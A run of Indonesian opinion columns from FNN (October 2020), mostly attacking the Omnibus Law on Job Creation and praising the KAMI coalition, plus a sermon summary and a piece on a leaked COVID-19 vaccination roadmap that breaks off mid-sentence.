kepercayaan. Undang-Undang Omnibus Law yang tak lain adalah kemauan Pemerintah telah menghancurkan hukum dan politik. Sejak awal, kongkalikong antara Pemerintah dengan DPR sudah dirasakan dan dilihat oleh rakyat. Kini buruh marah. Buruh bersama elemen masyarakat lain memahami dan merasakan kemarahan tersebut. Kebodohan Pemerintah dan DPR akan terlihat akibatnya ke depan. Selamat berjudi dengan aspirasi dan kepura-puraan demokrasi. Gumpalannya adalah "mosi tak percaya" di tengah pandemi dan resesi ekonomi. Siapa menabur angin akan menuai badai. Penulis adalah Pemerhati Politik dan Kebangsaan

Buruh Mogok Gegara? Koplak & Amatiran Amit!

by Tony Rosyid Jakarta FNN – Rabu (07/10). Menanggapi mogok nasional buruh tanggal 6-8 Oktober, seorang politisi partai "anu" berkomentar. Begini komentarnya,"mau mogok bagaimana, wong sudah mogok otomatis, karena banyak buruh yang dirumahkan akibat dampak pemberlakuan Pembatasan Sosial Berskala Besar (PSBB) ketat seperti yang dilakukan Anies Baswedan". Maksudnya, mogok nasional yang dilakukan buruh tanggal 6-8 Oktober itu gara-gara Anies ya? Kok demonya ke Senayan? Kok demonya di Gedung Sate Bandung? Kok demonya di Serang Banten? Ko demonya ada di banyak wilayah? Anies ini gubernur Jakarta atau presiden Indonesia? Dalam tulisan ini, saya ingin mengajak anda berpikir lurus. Berpikir lurus itu memahami hukum kausalitas. Hukum sebab akibat. Ini standar yang normal-normal saja. Kecuali jika anda sudah nggak normal. Siapapun anda. Apalagi jika omongan anda laku untuk dikutip media. Anda yang saya maksudkan bukan sebagai personal. Tetapi semua rakyat Indonesia. Semua anak bangsa yang sedang dan akan menghadapi ancaman kesulitan ini. Makanya, tidak saya sebut nama dan partainya. Kalau saya sebut, hanya akan mengecilkan kualitas tulisan ini. Orang Jawa bilang, “ngono yo ngono, tapi yo ojo ngono”. Benci ya benci, tapi yang cerdas dikit gitu loh bencinya. Jangan primitif gitu loh. Mosok mogok buruh nasional tanggal 6-8 Oktober gara-gara Anies perketat PSBB. Yang bener aja ah! Anda pasti bercanda. Kalau bercanda, pinteran dikit napa! Rakyat semua tahu. Buruh demo, lalu mogok kerja akibat disahkannya UU Omnibus Law Cipta Kerja pada hari senen tanggal 5 Oktober 2020. Siapa yang mengesahkan UU itu? Ya DPR dan Pemerintah. Mosok tukang gorengan. Kagak mungkinlah! Ada-ada aja. Buruh nggak terima, kecewa dan marah, makanya mereka demo ke DPR. Juga protes ke Jokowi, karena UU Omnibus Law Cipta Kerja ini usulan dari pemerintahan Jokowi. Ah, mosok harus dijelasin kayak anak kecil ah. Masa anggota partai politik nggak ngerti tentang tata cara pembuatan suatu UU? "Dimanapun yang namanya UU adalah sebuah produk politik. Karena itu, apapun hasilnya harus diterima", kata politisi ini lagi. Waduh.. Waduh... Mau ngomong apa lagi jal. Ikut komentar, takut dibilang "blo'on" yaa?. Nggak komentar, khawatir masyarakat ikut-ikutan blo'on. Sudahlah terpaksa saya harus komentar. Begini bung, UU memang produk politik. Tapi tidak setiap produk politik harus diterima. Anda pikir UU itu kitab suci apa? Bersifat mutlak apa? Sekali dibuat, nggak boleh dikritik begitu? Sehingga harus diterima, gitu? Ini ngaco, ngawur dan sesat cara berpikirnya bro. Bisa melalui Yudisial Review ke Mahkamah Konstitusi (MK). Ok, ini yang agak waras dikit. Tetapi, bahwa masyarakat banyak yang apatis terhadap lembaga hukum itu fakta. Ini nggak boleh terjadi, tentunya. Tetapi, pelaksanaan dan penegakan hukum di Indonesia itu betul-betul bermasalah. Apalagi jika berhadapan dengan penguasa dan kekuatan politik. Buruh mengukur diri. Anda pasti tahu itu. Kalau pelaksanaan dan penegakan hukum kita tertib, buruh dan mahasiswa mungkin tidak akan menempuh cara demo. Cukup dengan Yudisial Review ke MK. Kenapa mereka demo, karena mereka nggak begitu percaya dengan penegakan hukum di negeri ini. Anda bilang, "UU dibuat tidak selalu akan menciptakan sebuah keseimbangan dan kepuasan bagi sebagian kecil masyarakat". Anda anggap jumlah buruh itu sedikit apa? Lebih banyak jumlah borjuis dari pada proletar? Anda makin ngaco, ngawur dan amatiran saja! Jumlah buruh di Indonesia itu mayoritas. Hampir semua, jika tidak dikatakan semua, yang menolak UU Omnibus Law Cipta Kerja. Kenapa? Karena UU ini jadi neraka bagi mereka para buruh. Terkait upah minimum, kontrak kerja, masa cuti, PHK, tenaga kerja asing, dan lain-lainsangat merugikan para buruh. Melihat masa depan buruh yang dipreteli hak-haknya oleh UU Omnibus Law Cipta Kerja ini, mahasiswa pun ikut bergerak. Demo dan protes. Begitu juga dengan sejumlah ormas dan ulama. Ikut melakukan protes. Lalu, anda bilang, mereka minoritas? Koplak dan primitif sekali anda. Jumlah buruh di Indonesia itu 131.005.641 dari total jumlah penduduk Indonesia 271.053.473. (data BPS 27 April 2020). Belum ditambah dengan jumlah pendukungnya, yaitu mahasiswa dan ormas yang dibesarkan oleh orangtua mereka yang berstatus buruh. Bagaimana anda bilang minoritas? Mungkin anda nggak pernah lahir dari rahim orangtua yang berstatus buruh, sehingga nggak mampu membaca perasaan pedih hati mereka para buruh. Seandainya mereka minoritas sekalipun, harus juga diakomodir kepentingannya. Nggak boleh diabaikan. Sebab di Indonesia, non muslim itu minoritas. Tetapi nggak boleh diabaikan kepentingannya. Tetapi jangan malah anda balik datanya dan mengatakan muslim itu minoritas, maka nggak perlu diakomodir kepentingannya. Lalu, supaya masuk akal, dibuatlah narasinya, “yang dimaksud minoritas itu Islam radikal dan pengusung Khilafah. Itu minoritas. Ah, suka-suka anda aja. Semakin aneh lagi, anda menyimpulkan bahwa mogok nasional buruh tanggal 6-8 Oktober itu gara-gara Anies perketat PSBB. Alah maaak...... Penulis adalah Pengamat Politik dan Pemerhati Kebangsaan

Panglima Tritura Sugengwaras Beri Ultimatum

by Sugengwaras Bandung FNN - Rabu (07/10). Malam itu, 5 Oktober 2020, tanpa hujan tanpa petir, telah menggelegar suara halilintar yang membahanakan di Syahkanya UU OMNIBUS LAW. Memang, bungkusnya sangat jitu dan menarik, karena menyangkut hajat hidup orang banyak, yang memberikan peluang untuk mendapatkan pekerjaan guna kelangsungan hidup kluarga Indonesia Namun setelah didalami, beberapa esensi pokok, menunjukkan kerugian martabat dan material bagi bangsa Indonesia Kini, rakyatmu bersusah payah mengadu nasib untuk memperjuangkan agar UU OMNIBUS law itu dicabut untuk disempurnakan secara layak bagi rakyat Indonesia Melalui video yang beredar, yang menurut saya sulit dikatakan rekayasa, saya sangat prihatin, pilu dan enas, melihat sikap, ucapan dan tindakan seorang tokoh nasional yang juga pimpinan rapat / sidang, apa lagi didampingi seorang tokoh sekaligus Ketua Dewan Perwakilan Rakyat, yang seharusnya membela, melindungi dan membesarkan hati rakyatnya, justru menghentikan dan menutup nurani rakyat, meskipun ada upaya mencegah, yang diwakili oleh seorang peserta rapat bernama Beny K Harman. Mendidih dada saya menyaksikan video itu Hati saya berkata, hebat betul kau melihat dan merasakan dirimu sendiri, yang merasa paling bisa dan paling kuasa ! Cocoknya orang macam kalian harus berhadapan dengan saya, SUGENGWARAS, untuk mendapatkan pelajaran yang bermanfaat Saya khawatir, kalian akan tertawa terbahak bahak, memperhatikan rakyatmu yang berjuang kelelahan, kepanasan dan kehausan, untuk sekedar ingin ada pengertianmu, agar tidak melanjutkan / memberlakukan UU yang kontroversial itu, yang kalian sudah bisa mengukur apa ending dari perjuangan itu Ada apa dan kenapa UU itu kalian sahkan dan umumkan saat rakyatmu tidur lelap? Tidak perlu saya utarakan, tapi aku bisa meraba apa yang jadi tujuan dan maksudmu Oleh karenanya saya MENGINGATKAN: Kepada saudara saudara yang terhormat, anggota dan pimpinan DPR RI. Agar RUU HIP / BPIP yang saat ini masih tertuang dalam Proglegnas, dicabut dan dibatalkan / hilangkan. Apabila, ternyata kelak terjadi menjadi UU seperti proses UU OMNIBUS LAW ini, saya SUGENGWARAS, akan Memimpin langsung, untuk menangkap hidup hidup dan memidanakan siapapun yang terlibat. Kepada TNI POLRI, juga saya menghimbau : 1. Kawal, lindungi, ayomi dan kendalikan para pengunjuk rasa, yang menuntut dibatalkannya UU OMNIBUS LAW, karena itu hak mereka yang dilindungi dan dijamin oleh undang undang 2. TNI POLRI, hendaknya tetap teguh sebagai bhayangkara negara, garda terdepan dan benteng terakhir bangsa Indonesia, tak terseret dalam alat kekuasaan semata, tapi terlebih sebagai alat negara Saya SUGENGWARAS, Panglima TRITURA, bersama seluruh rakyat yang sepaham, senantiasa mendukung kepada Pemerintah, TNI POLRI, yang bekerja dan bertugas susuai amanat Rakyat yang Bhineka Tunggal Ika, berdasarkan Pancasila dan UUD 1945. Merdeka!!! Penulis adalah Panglima TRITURA, dan Pemerhati Pertahanan dan Keamanan NKRI.

Membangun “a Community of Excellence” di Amerika (Bagian-1)

by Imam Shamsi Ali New York FNN – Selasa (06/10). Jumat kemarin saya menyampaikan khutbah bulanan saya di Jamaica Muslim Center New York. Bagi yang belum mengenal, Jamaica Muslim Center(JMC) adalah salah satu Islamic Center terbesar di Amerika, khususnya di kota New York. Selain masjid, JMC juga mengelolah sekolah Islam full, sekolah Tahfidz, senior Center (rumah jompo), dan banyak lagi. Jamaica juga adalah Islamic Center Yang memiliki posisi di mata pejabat di kota New York. Satu-satunya masjid yang dijunjungi oleh Walikota Michael Bloomberg di saat mengakhiri tugasnya sebagai Walikota New York. Walikota Bill de Blasio telah tiga kali berkunjung ke masjid ini. Demikian juga dengan Kepolisian dan para anggota DPRD New York. Yang saya ingin sampaikan kali ini adalah ringkasan khutbah yang saya sampaikan pada Jumat lalu. Saya merasa perlu menuliskan ringkasan ini agar bermanfaat luas kepada warga Muslim, khususnya mereka yang di Amerika. “Khaer Ummah” Konteks Amerika Islam diyakini sebagai agama kehidupan. Ini dimaknai minimal dalam dua hal. Makna pertama, bahwa Islam hadir untuk mengajarkan kita hidup. Bukan sebaliknya, hadir untuk mengajarkan kematian. Justeru warna kematian ditentukan oleh warna kehidupan. Karenanya fokus Islam adalah bagaimana hidup yang baik demi kematian yang baik (husnul khatimah). Makna kedua, bahwa Islam sebagai ajaran kehidupan pastinya menyentuh seluruh aspek hidup manusia. Bukan hanya aspek individual. Apalagi lagi hanya aspek ritual kehidupan. Tetapi menyeluruh dan (komprehensif) sebagai ajaran yang syamil, kamil dan mutakamil. Dalam konteks inilah kita yakini bahwa Islam hadir mengajarkan manusia untuk mewujudkan komunitas (masyarakat). Inilah yang dikenal dengan kata “ummah”. Atau dalam konteks nation state (negara) disebut dengan “bangsa” (nation). Ummah atau bangsa itulah yang menjadi tujuan utama berdirinya Madinah. Disanalah berdiri Komunitas Muslim atau masyarakat Muslim pertama sebagai “tunas ummah” yang mengglobal di kemudian hari. Dalam upaya mewujudkan “Ummah” tersebut, Islam tidak sekedar mewujudkan Komunitas atau masyarakat biasa. Tteapi “a community of excellence” atau sebuah masyarakat yang istimewa.Yang diistilahkan dalam Al-Quran dengan “Khaer Ummah” (Umat terbaik). Al-Quran di Surah Al-Imran ayat 110 menggambarkan Umat termaksud. Al-Quran menyampaikan bahwa pengikut Muhammad SAW sebagai Umat terakhir dipilih untuk hadir mewujudkan masyarakat terbaik (Khaer Ummah) itu.Bagaimana proses pembentukan dan karakter masyarakat Istimewa atau the community of excellence itu? Dengan kata lain untuk pembentukan “Khaer ummat” hal-hal apa saja yang seharusnya dilakukan? Jawabannya ada pada ayat-ayat sebelumnya. Dimulai pada ayat 101 hingga pada ayat 109, yang kemudian tersimpulkan pada ayat 110 tentang “Khaer Ummah” atau the best nation (a nation of excellence). Pertama, Khaer Ummah atau komunitas istimewa itu adalah komunitas atau bangsa yang berkarakter ketakwaan. Taqwa adalah bentuk religiositas tertinggi. Pada ketakwaan itu menyatu nilai-nilai Islam, iman dan ihsan. Allah SWT berfirman ,“Wahai orang-orang yang beriman, bertakwalah kalian kepada Allah dengan sebenar-benar takwa. Dan janganlah hendaknya meninggal kecuali dalam keadaan Muslim” (S. 3: 102). Dengan ketakwaan, segala sesuatu terbangun dalam Islam. Termasuk bangunan sosial masyarakat atau komunitas. Hanya dengan ketakwaan, sebuah komunitas akan mendapat ‘inayah Allah, dan pintu-pintu keberkahan dari langit dan bumi akan terbuka. Kata Allah, “Sekiranya penduduk sebuah negeri beriman dan bertakwa niscaya kami akan bukakan bagi mereka keberkahan lagi dan bumi” (Al-A’taf: 96). Kedua, Khaer Ummah atau komunitas istimewa (community of excellence) itu mengedepankan kebersamaan (persatuan). Persatuan itu terjadi karena ada pegangan yang sama yang dikenal dengan “tali agama Allah” (i’tishom bihablillah). Firman Allah, “Dan berpegang teguhlah kalian semua kepada tali agama Allah dan jangan berpecah belah” (Al-Imran: 103). Persatuan umat adalah modal utama dalam membangun komunitas yang istimewa itu. Persatuan yang merujuk kepada pegangan yang sama, yaitu tali agama Allah atau Al-Quran dan As-Sunnah. Bersatu dalam memegangi “tali agama Allah” itu bukan penyeragaman (unity is not uniformity). Karenanya jika ada keragaman pemahaman tentang pegangan yang satu itu, tidak seharusnya memecah belah kesatuan Umat. Karena boleh jadi memegang atau memandang dari sudut yang berbeda. Ketiga, Khaer Ummah atau komunitas istimewa itu juga harus terbangun di atas kesadaran tanggung jawab sosial (social responsibility). Tanggung ini yang dikenal dalam Islam dengan “amar ma’ruf-nahi mungkar”. Kata Allah, “Dan hendaklah segolongan di antara kalian yang mengajak kepada kebaikan (khaer) menyeru kepada yang ma’ruf dan melarang dari kemungkaran. Dan mereka itulah orang-orang yang sukses” (Al-Imran: 104). Berbicara tentang amar ma’ruf dan nahi mungkar itulah yang sesungguhnya yang terekspresi dalam tanggung jawab sosial kolektif ummah. Memerangi narkoba, pelacuran, korupsi adalah bagian dari tanggung jawab sosial. Tapi jangan lupa memerangi kebodohan, kemiskinan dan juga melawan tendensi perpecahan dan ragam social vices (kejahatan sosial) juga bagian dari tanggung jawab sosial kolektif itu. Keempat, Khaer Ummah atau komunitas istimewa itu memiliki wawasan atau orientasi hidup ukhrawi. Dalam menjalani kehidupan dunia ini mereka yang menjadi bagian dari Ummah terbaik itu tidak “hilang” (tersesat) dalam rimba nafsu duniawi. Justeru dunia dijadikan lahan (mazra’ah) bagi kehidupan ukhrawinya. Allah mengatakan, “Pada hari di mana ada wajah-wajah yang bersinar dan ada wajah-wajah yang muram/kelam.” (Al-Imran: 106). bersambung. Penulis adalah Direktur Jamaica Muslim Center & Presiden Nusantara Foundation.

KAMI Yang Lincah Dan Berkelas

by Dr. Margarito Kamis SH. M.Hum Jakarta FNN –Selasa (06/10). Koalisi Aksi Menyelamatkan Indonesia (KAMI) terus memacu langkah-langkah di tengah himpitan-himpitan politik tipikal negara korporasi sejauh ini. Menancapkan kiblatnya untuk Indonesia yang hebat, yang beres dalam semua aspek, dan dipandu dengan kesadaran religisunya yang tuntas, KAMI terlihat asyik menikmati impiannya. Kami, kata Profesor Din, pria murah senyum yang sejuk wajahnya itu memikat harapan. Bukan orang-orang pengecut. Kami hanya takut pada Allah Subhanahu Wata’ala, begitu penggalan kalimat profesor Din selanjutnya. Kalimat itu memang cukup pendek. Tetapi sependek itu sekalipun, kalimat itu terlalu jelas menjelaskan kemana KAMI akan mengarungi laut hitam politik korporatis Indonesia dihari-hari mendatang. Jelas betul kalimat profesor Din tersebut menggambarkan tekad orisinilnya. Masuk Akal Tak ada jalan mundur atau berbelok di tikungan perjuangan dalam mengarungi impian. Mungkin kalimat itu dapat disematkan sebagai intisari kalimat professor Din tersebut. Ini kekuatan terbesar. Lebih besar dari kekuatan apapun yang dimiliki oleh negara yang telah terkorporatisasi. Siapapun yang berada dititik relijiusitas itu, dia melupakan semua keganasan politik korporasi dipelupuk matanya. Cahaya pengetahuan terlihat jelas menyinari mereka memandang, mengidentifikasi dan mendefenisikan masalah bangsa besar ini. Cahaya ini membawa mereka pada terminal defenitif. Negara ini sedang terbawa untuk diabdikan pada segelintir orang kaya. Bukan pada kebanyakan orang miskin. Soal-soal yang beginian, dibelahan dunia manapun hanya dapat dimengerti oleh segelintir orang yang dihikmahi pengetahuan dan kesadaran relijius. Disepanjang sejarah manusia soal-soal beginian selalu dan hanya menjadi santapan orang-orang terbatas. KAMI, untuk alasan apapun, jelas adalah orang-orang yang berkatagori terbatas itu. Terbiasa dalam khsanah ilmu pengetahuan dan problem kehidupan bernegara, KAMI tak mungkin tak mengerti bahwa demokrasi sudah sangat sering dikebiri. Demokrasi direduksi dengan berbagai cara. Stabilitas politik, sudah terlalu terbiasa digunakan oleh rejim korporasi berbaju demokrasi untuk mengebiri demokrasi dan mengisolasi orang-orang kritis. Keamanan nasional, juga sama. Ini telah menjadi metodologi standar politik rejim korporasi berbaju demokrasi. Ini mainan khas negara-negara demokratis sekelas Amerika. Rejim-rejim tipikal itu selalu dapat sesuka-sukanya menembakan peluru-peluru korporatis, yang selalu berkarakter fasistik. Menyudutkan siapapun yang teridentifikasi mengusik mereka. Baik di negara-negara liberalistik maupun komunistik, keamanan nasional dan stabilitas politik, dua entitas yang seiring sejalan ini pertama-tama diperuntukan untuk kaum kaya, khususnya para korporat dan oligarkis. Mereka yang utama dan terutama tersudut disetiap kritik terhadap tampilan kebijakan-kebijakan pemerintahan yang mengorbankan rakyat. Itu karena, mereka para kaum kaya-korporat dan oligarkis inilah real goverment. Pemerintah yang sedang berkuasa, tidak pernah sungguh-sungguh dapat membuat kebijakan secara imparsial. Diakui secara halus oleh Presiden Woodrow Wilson diakhir masa jabatan kedua tahun 1921, kalau ada tangan-tangan non pemerintahan yang mengarahkan kebijakan pemerintahan. KAMI, saya yakin, tidak mungkin tak mengerti bahwa korporasi, yang sejak satu setengah abad silam telah diterima sebagai subyek hukum, adalah jenis mahluk politik paling ganas sejak saat itu hingga kini. Berstatus seperti itu ditengah demokrasi, korporasi bebas mengtatakan mereka punya hak sebagaimana haknya manusia natural untuk ikut merancang arah kebijakan pemerintah. Itu demokrasi namanya. Kalau impian mereka berbeda dengan impian kebanyakan orang, tidak apa-apa. Itulah demokrasi. Itulah indahnya demokrasi. Mereka untung, dan rakyat buntung, itu namanya demokrasi. Dan itulah indahnya demokrasi dalam pandangan mereka. Politik di alam demokrasi, saya yakin orang-orang KAMI mengerti lebih dari siapapun. Tidak pernah jauh urusan investasi diri dan meraih untung. Bukan tentang pengabdian, sebagaimana orang-orang Masyumi dulu mendefenisikan politik. Tidak. Politik adalah investasi diri, kembali modal lalu untung. Titik. Teruslah Bersuara Pemerintahan demokratis dimanapun di dunia ini, tidak pernah benar-benar dapat mengenali, apalagi mengimplementasi akutabilitas materil. Tidak. Selalu begitu dimanapun di setiap pemeritahan demokratis. Tidak pernah benar-benar bisa menarik garis batas dengan korporasi. Persis pemerintahan komunistik dimanapun, pemerintahan demokratis juga sama canggihnya dalam menyebar propaganda. Amerika, negara pengekspor utama demokrasi ke berbagai belahan dunia ini, menggila dengan propaganda kebebasan tahun 1917. Ini dilakukan pemerintahan Woodrow Wilson. Itu sebabnya merupakan merupakan master utama dalam urusan propaganda. Walter Lippman, jurnalis kawakan, yang juga penasihat Woodrow Wilson itu adalah otaknya. Ia tahu manusia tak benar-benar tahu apa yang sebenarnya terjadi. Itu sebabnya pengetahuan mereka harus dibentuk. Caranya? Menyebarkan dan mengulan-ulang sebuah isu, tentu untuk menyesatkan. Rakyat orang kebanyakan akan berpikir dan bertindak sesuai pesan menyesatkan yang diulang-ulang itu. KAMI tentu mengerti kemana arah, dan apa yang dimaui dari pesan terus- menerus, dalam nada negatif yang dialamatkan kepada mereka. Perlakuan kontras terhadap protocol covid, tentu layak ditertawakan sebagai lelucon kecil nan murah meriah. Disana boleh, dan KAMI tidak boleh, mungkin hanya disambut KAMI dengan tawa kecil yang menggelikan. Dalam politik korporatis, menganolagi dua hal yang mirip, sepadang dan seimbang secara particular dalam sekuen kualitatifnya, bukan sesuatu yang perlu. Ini sia-sia saja. Tidak ada faedahnya. Itu karena kebenaran telah diletakan dihulu bahwa sesuatu sebut saja A, pasti pecah-belah bangsa, sehingga otomatis salah, dan disana tidak. KAMI mengerti, dan bersuara tegas bahwa bail out Jiwasraya, sebagai kebijakan yang melukai rakyat. Korporasi ngaco, rugi, lalu uang rakyat dipakai menutupi kerugian itu, jelas tak masuk akal. Rakyat dibebankan tanggung jawab untuk hal yang tidak mereka lakukan. Angkuh betul cara berpikir ini. Rakyat kebanyakan memang tidak bersuara, tentu tak perlu menemukan alasannya. Dimana pun didunia ini selalu begitu. Itu telah diidentifikasi secara akurat oleh Walter Lippman. Tetapi tragis kalau orang-orang berpengetahuan tidak bersuara. Dititik ini bangsa harus mensyukuri adanya suara kritis KAMI. KAMI terlihat tak mau tergulung akal-akalan korporasi oligarkis yang menyertai RUU Omnibus yang superkilat pembahasannya itu. RUU yang telah disetuju bersama DPR-Presiden jadi UU yang mentorpedo 79 UU eksisting. Luar biasa. Lalu, sekedar ilustrasi kecil, pemerintah ikut menanggung beban PHK bagi pekerja. PHK dibayar, tetapi persentasenya dibagi antara perusahaan dan pemerintah. Menyertakan Pemerintah ikut menanggung biaya PHK, jelas ini skema khas korporasi. Korporasi jelas berpesta dengan skema ini. Bukan puncak kebodohan, tetapi konsep itu jelas merupakan puncak cinta terhadap sosialisme ekstrim dalam konsep penguasaan tanah. Cara buruk itu diagungkan secara serampangan sebagai investmen drive. Ini inferensi angkuh khas corporasi. Inferensi ini sangat khas sosialisme ekstrim. Konsekuensi konsep itu adalah pemilik tanah tidak boleh menggunakan hak yang melekat padanya mempertahankan tanah itu. Demi investasi, pemilik tanah harus melepas kepemilikannya. Titik. Investasi adalah segala-galanya. Inilah napas dan jiwa pasal 33 UUD 1945 khas korporasi. Pemerintah, harus diakui, memiliki begitu banyak senjata yang setiap waktu dapat dimobilisir untuk mengisolasi pemilik tanah. Semua senjata hukum dan lainnya juga bisa digerakan mengisolasi KAMI. Menariknya, KAMI terus bersuara dengan nadanya yang amat berkelas. Surat Terbuka Profesor Din yang ditujukan kepada Presiden, yang hari ini berkibar ditengah masyarakat, jelas kelasnya. Isunya jelas. Manis kalimatnya memikat dengan bingkai kesantunan khas ulama. Ya Allah Ya Rab, Rahmatilah mereka dengan keagungan-MU yang tak terbatas. Insya Allah. Penulis adalah Pengajar HTN Universitas Khairun Ternate.

Potensi Bahaya Vaksin Virus Corona!

by Mochamad Toha Surabaya FNN - Selasa (06/10). Sejak Minggu, 4 Oktober 2020, beredar “GRAND DESIGN/ROADMAP PELAKSANAAN VAKSINASI COVID-19” atas nama Direktur Jenderal P2P Kementerian Kesehatan RI. Apa benar Roadmap Vaksinasi Covid-19 ini berasal dari Kemenkes? Baiklah coba kita simak beberapa isinya. KANDIDAT VAKSIN COVID-19. Terdapat 34 vaksin Covid-19 dengan platform berbeda (mRNA, Inactivated, DNA, VLP, Non Replicating Viral Vector, Protein Sub Unit). Terdapat 9 vaksin COVID-19 sedang memasuki uji klinik fase III. Kandidat vaksin Covid -19 kerjasama mulitlateral: Sinovac kerjasama Biofarma dengan China; Sinopharm, kerjasama Kimia Farma dengan Group 42 United Emirat Arab; Genexine – GX19, kerjasama Kalbe Farma dengan Genoxine Korea Selatan; Gavi-CEPI untuk Middle Income Country dan Low Middle Income Country dengan skema AMC Covax. TUJUAN VAKSINASI COVID-19. 1. Menurunkan kesakitan dan kematian akibat Covid-19; 2. Mencapai kekebalan kelompok (herd immunity) untuk mencegah dan melindungi kesehatan masyarakat; 3. Melindungi dan memperkuat sistem kesehatan secara menyeluruh; 4. Menjaga produktifitas dan meminimalkan dampak sosial dan ekonomi. Sasaran Vaksinasi Covid 19 Ini Berisi Pentahapan Prioritas sesuai dengan ketersediaan vaksin, penduduk dan wilayah berisiko, tahapan pemakaian dan indeks pemakaian. IDEAL: SELURUH PENDUDUK; OPTIMAL: 80% PENDUDUK BERISIKO TERTULAR. 1. Garda terdepan: Medis dan Paramedis contact tracing, pelayanan publik termasuk TNI/Polri, aparat hukum 3.497.737 orang dengan kebutuhan vaksin 6.995.474 dosis; 2. Masyarakat (tokoh agama/masyarakat), perangkat daerah (kecamatan, desa, RT/RW), sebagian pelaku ekonomi) 5.624.0106 orang dengan kebutuhan vaksin 11.248.020 dosis; 3. Seluruh tenaga pendidik (PAUD/TK, SD, SMP, SMA dan sederajat PT) 4.361.197 orang dengan kebutuhan vaksin 8.772.3942 dosis; 4. Aparatur pemerintah (Pusat, Daerah dan Legislatif) 2.305.689 orang dengan kebutuhan vaksin 4.611.378 dosis; 5. Peserta BPJS PBI 86.622.867 orang dengan kebutuhan vaksin 173.245.734 dosis; Sub total jumlah di atas 102.451.500 orang dengan kebutuhan vaksin 204.903.000 dosis; Jika ditambah Masyarakat dan pelaku perekonomian lainnya 57.548.500 orang dengan kebutuhan vaksin 115.097.000 dosis; Jadi, Total suluruhnya 160.000.000 orang dengan kebutuhan vaksin 320.000.000 dosis. Sesuai rekomendasi Komite Penasihat Ahli Imunisasi Nasional atau Indonesian Technical advisory Group Immunization (ITAGI), prioritas pemberian imunisasi Covid-19 terdiri dari: Garda terdepan (front-line) yaitu Petugas medis: staf medis rumah sakit (dokter, perawat dan seluruh petugas yang bekerja di fasilitas pelayan kesehatan). Petugas non-medis: adalah petugas pelayanan publik (essensial worker), misalnya TNI-Polri, petugas bandara, stasiun kereta api, pelabuhan, pemadam kebakaran, PLN, PAM yang bertugas di lapangan, dll. Kelompok risiko tinggi/high risk lain. Terdapat Kelompok Pekerja berusia 18-59 tahun yang merupakan kelompok usia produktif dan berkontribusi pendidikan termasuk ke dalam sektor perekonomian; Penduduk < 60 tahun memiliki komorbid yang terkendali dan masih aktif; Contact tracing, kelompok risiko dari keluarga dan kontak kasus Covid 19; Administrator pemerintahan yang terlibat dalam memberikan layanan publik. Total target sasaran adalah 160 juta orang yang merupakan 80% dari total populasi penduduk yang berusia 18-59 tahun. Sesuai profile WHO, efikasi vaksin diharapkan minimal 70%. Mempertimbangkan masih terbatasnya ketersediaan jumlah, tahapan pasokan dan indeks pemakaian vaksin atau wastage rate suatu vaksin, maka disusun pentahapan pelaksanaan imunisasi Covid-19 sebagaimana dalam tabel tersebut di bawah ini. Garda terdepan: Medis dan Paramedis (1,2 juta), Contact tracing, pelayanan publik, aparatur pemerintah tingkat pusat; Masyarakat (tokoh agama/masyarakat), sebagian tenaga pendidik, aparatur pemerintah tingkat daerah; Pelaku ekonomi di 10 Provinsi terdampak (termasuk di dalamnya adalah pelaku sektor pariwisasta) dan sebagian tenaga pendidik; Pelaku ekonomi (24 Provinsi) dan perangkat daerah (kecamatan, kelurahan dll). Berdasarkan ketersediaan vaksin, maka total jumlah sasaran sebanyak 102.451.500 orang atau 204.903.000 dosis; Sub total 102.451.500 orang dengan kebutuhan vaksin 204.903.000 dosis; Masyarakat dan pelaku perekonomian lainnya 57.548.500 orang dengan kebutuhan vaksin 115.097.000 dosis; Sehingga Total 160.000.000 orang dengan kebutuhan vaksin 320.000.000 dosis. Ketersediaan rantai dingin yang berfungsi dan sesuai standar. Per Desember 2019, vaksin rutin dan vaksin baru memakai 35% dari total kapasitas rantai dingin sehingga masih tersedia 65%. Sehingga, diperkirakan dapat menampung seluruh vaksin rutin dan introduksi sampai 2021. Pengalaman kampanye MR dengan sasaran 70 juta dilakukan bertahap selama 2 bulan. Jawa dan luar Jawa. Pengadaan Lemari es pada 2020 sebanyak 449 dan 2021 sebanyak 1.028 buah. Jika menyimak “Grand Design/Roadmap Pelaksanaan Vaksinasi Covid-19” yang disebut dari Direktur Jenderal P2P Kementerian Kesehatan RI tersebut, jelas sekali, Pemerintah tampak begitu menyiapkan Vaksinasi Nasional. Dalam Ratas Persiapan Pelaksanaan Vaksin Covid-19 dan Pemulihan Ekonomi Nasional yang berlangsung via video konferensi, Senin, 28 September 2020, Presiden Joko Widodo mengingatkan kembali mengenai intervensi berbasis lokal dan rencana vaksinasi. Presiden Jokowi minta untuk rencana vaksinasi, rencana suntikan vaksin itu direncanakan detail se awal mungkin. “Saya minta selama dua minggu ini ada perencanaan yang detail,” tegasnya. “Kapan dimulai, lokasinya di mana, siapa yang melakukan, siapa yang di vaksin pertama, semuanya harus terencana dengan baik, sehingga saat vaksin ada implementasi langsung pelaksanaan di lapangan,” ungkap Presiden. Dari pernyataan Presiden tersebut, “Grand Design/Roadmap Pelaksanaan Vaksinasi Covid-19” itu jelas merupakan wujud dari hasil Ratas Persiapan Pelaksanaan Vaksin Covid-19 dan Pemulihan Ekonomi Nasional, Senin, 28 September 2020, tersebut. Bahaya Vaksin Melansir CNNIndonesia.com, Kamis (17/09/2020 08:35 WIB), peneliti berpesan agar para pelaku uji klinis Vaksin Covid-19 memerhatikan potensi bahaya jika Virus Corona SARS-CoV-2 terbukti menimbulkan fenomena ADE (Antibody-Dependent Enhancement). Hal ini diungkap Guru Besar Ilmu Biologi Molekuler Universitas Airlangga (UA) Surabaya, Chaerul Anwar Nidom terkait temuan susunan asam amino virus corona SARS-CoV-2 yang berpotensi menimbulkan fenomena ADE. “Ini yang perlu kami sampaikan kepada pihak-pihak yang sedang upayakan vaksin, tolong diamati hal-hal yang terkait perubahan-perubahan virus ini,” tuturnya dalam wawancara dengan CNNIndonesia TV, Rabu (16/9/2020). ADE adalah fenomena virus berikatan dengan antibodi untuk menginfeksi sel inang. Potensi terjadinya fenomena ADE ini bisa dilihat dari pola tertentu dari susunan DNA/RNA virus. Sebelumnya, virus corona menginfeksi sel lewat reseptor ACE2 yang ada di paru-paru. Tapi dengan fenomena ADE, maka sel akan masuk ke sel lewat makrofag. “Sehingga virus berkembang di sel mikrofag (sel darah putih) bukan di sel saluran pernafasan lagi,” tuturnya saat dihubungi CNNIndonesia.com lewat pesan teks, Rabu (16/9/2020). Akibatnya, infeksi virus corona bisa terjadi tanpa menunjukkan gejala klinis (orang tanpa gejala/OTG) seperti batuk, demam, dan sebagainya. Akibat 